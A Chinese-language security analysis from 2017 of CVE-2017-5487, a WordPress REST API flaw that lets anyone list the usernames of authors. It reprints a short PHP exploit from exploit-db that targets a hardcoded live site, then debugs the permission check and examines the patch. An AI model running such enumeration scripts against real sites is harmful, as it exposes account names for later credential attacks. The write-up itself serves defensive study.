**Author: p0wd3r (知道创宇404安全实验室)**
**Date: 2017-03-05**
## 0x00 漏洞概述
### 漏洞简介
近日 exploit-db 上公布了一个 Wordpress < 4.7.1 的用户名枚举漏洞:[https://www.exploit-db.com/exploits/41497/](https://www.exploit-db.com/exploits/41497/) ,实际上该漏洞于1月14号就已经在互联网上公布,并赋予了 [CVE-2017-5487](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5487)。利用该漏洞攻击者可以在未授权状态下获取之前发布过文章的用户的用户名、id 等信息。
### 漏洞影响
未授权状态下获取之前发布过文章的用户的用户名、 id 等信息。
触发前提:Wordpress 配置 REST API
影响版本:< 4.7.1
## 0x01 漏洞复现
### 环境搭建
下载相应版本的 Wordpress ,然后配置 REST API,具体参见:[https://www.seebug.org/vuldb/ssvid-92637](https://www.seebug.org/vuldb/ssvid-92637)
### 复现
我们先看 exploit-db 上给出的 exp :
```php
#!usr/bin/php
<?php
#Author: Mateus a.k.a Dctor
#fb: fb.com/hatbashbr/
#E-mail: dctoralves@protonmail.ch
#Site: https://mateuslino.tk
header ('Content-type: text/html; charset=UTF-8');
$url= "https://bucaneiras.org/";
$payload="wp-json/wp/v2/users/";
$urli = file_get_contents($url.$payload);
$json = json_decode($urli, true);
if($json){
echo "*-----------------------------*\n";
foreach($json as $users){
echo "[*] ID : |" .$users['id'] ."|\n";
echo "[*] Name: |" .$users['name'] ."|\n";
echo "[*] User :|" .$users['slug'] ."|\n";
echo "\n";
}echo "*-----------------------------*";}
else{echo "[*] No user";}
?>
```
可以看到它是利用 REST API 来获取用户的信息,对应的文件是`wp-includes/rest-api/endpoints/class-wp-rest-users-controller.php`,接下来使用 exp 并且开启动态调试。
首先程序进入`get_items_permissions_check`函数:
```php
/**
* Permissions check for getting all users.
*
* @since 4.7.0
* @access public
*
* @param WP_REST_Request $request Full details about the request.
* @return true|WP_Error True if the request has read access, otherwise WP_Error object.
*/
public function get_items_permissions_check( $request ) {
// Check if roles is specified in GET request and if user can list users.
if ( ! empty( $request['roles'] ) && ! current_user_can( 'list_users' ) ) {
return new WP_Error( 'rest_user_cannot_view', __( 'Sorry, you are not allowed to filter users by role.' ), array( 'status' => rest_authorization_required_code() ) );
}
if ( 'edit' === $request['context'] && ! current_user_can( 'list_users' ) ) {
return new WP_Error( 'rest_forbidden_context', __( 'Sorry, you are not allowed to list users.' ), array( 'status' => rest_authorization_required_code() ) );
}
if ( in_array( $request['orderby'], array( 'email', 'registered_date' ), true ) && ! current_user_can( 'list_users' ) ) {
return new WP_Error( 'rest_forbidden_orderby', __( 'Sorry, you are not allowed to order users by this parameter.' ), array( 'status' => rest_authorization_required_code() ) );
}
return true;
}
```
函数中有三个条件语句,如果条件成立就返回错误。但是仔细看每一个的条件都是 `$request[xxx] && ! current_user_can( 'list_users' )`,这也就意味者只要前面的语句不成立,那么后面的`current_user_can('list_users')`就失去了作用。至于`$request['roles']`、`$request['context']`和`$request['orderby']`的值,通过调试我们可以看到,三者值如下:
![request_array.png](https://images.seebug.org/content/images/2017/03/request_array.png)
均不符合条件,所以函数返回`true`,成功通过了权限检查。
接下来程序进入了`get_items`函数,先是设置了一些查询参数然后使用`$query = new WP_User_Query( $prepared_args );`进行查询,我们直接在`WP_User_Query`的`query`函数处下断点:
![./break_query.png](https://images.seebug.org/content/images/2017/03/break_query.png)
`$this->request`即为执行的查询,其值如下:
```sql
SELECT SQL_CALC_FOUND_ROWS wp_users.* FROM wp_users WHERE 1=1 AND wp_users.ID IN ( SELECT DISTINCT wp_posts.post_author FROM wp_posts WHERE wp_posts.post_status = 'publish' AND wp_posts.post_type IN ( 'post', 'page', 'attachment' ) ) ORDER BY display_name ASC LIMIT 0, 10
```
可见该 API 可以获取的用户必须满足以下几个条件:
- 发表过文章
- 文章的当前状态是`publish`
- 文章类型是`post`、`page`、`attachment`其中之一
在我们的环境中,admin 用户默认会有文章,所以我们执行 exp 后会得到 admin 的一些信息:
![./admin_info.png](https://images.seebug.org/content/images/2017/03/admin_info.png)
接下来我们再创建一个新的用户 tommy,再执行 exp 发现结果和上面一样,原因就是因为还没有发文章。我们登录 tommy 并发布一篇文章,然后再执行 exp:
![./tommy.png](https://images.seebug.org/content/images/2017/03/tommy.png)
这回就可以获取 tommy 的信息了。
## 0x02 补丁分析
Wordpress 官方给出的补丁如下:
![./commit.png](https://images.seebug.org/content/images/2017/03/commit.png)
>Only show users that have authored a post of a post type that has `show_in_rest` set to true.
意思是仅当用户发表的文章的类型的`show_in_rest`属性为`true`时,才可以获取该用户的信息。
在代码层面上,补丁设置了`$prepared_args['has_published_posts']`的值,该值在构造查询语句时会用到:
```php
if ( $qv['has_published_posts'] && $blog_id ) {
if ( true === $qv['has_published_posts'] ) {
$post_types = get_post_types( array( 'public' => true ) );
} else {
$post_types = (array) $qv['has_published_posts'];
}
...
```
将查询中的`$post_type`设置为`show_in_rest=true`的那些类型,那么哪些类型的`show_in_rest`为`true`呢?
在`wp-includes/post.php`中的`create_initial_post_types`函数中可以看到`post`、`page`和`attachment`的`show_in_rest`均为`true`,和补丁前查询中的类型一致,也就是说其实最新版本在默认情况下还是可以使用这个 exp 的,实际测试的结果也是如此:
![](https://images.seebug.org/content/images/2017/03/version-1.png)
![exp_again.png](https://images.seebug.org/content/images/2017/03/exp_again.png)
至于为什么这样,笔者认为可能该 API 的设计意图就是让其他人获得发布过文章的用户的用户名,因为文章已经公开了,用户名自然也就公开了。这次补丁给了用户更多的定制化空间,因为用户可以自己通过`register_post_type`来创建文章类型,补丁中提供的`show_in_rest`属性可以让用户自己选择用户信息对于 API 的可见性。
本文写得实在仓促,如果哪里有不对的地方,还望大家多多指教。
## 0x03 参考
* [https://www.seebug.org/vuldb/ssvid-92732](https://www.seebug.org/vuldb/ssvid-92732)
* [https://www.exploit-db.com/exploits/41497/?rss](https://www.exploit-db.com/exploits/41497/?rss)
* [https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5487](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5487)
* [https://github.com/WordPress/WordPress/commit/daf358983cc1ce0c77bf6d2de2ebbb43df2add60](https://github.com/WordPress/WordPress/commit/daf358983cc1ce0c77bf6d2de2ebbb43df2add60)
暂无评论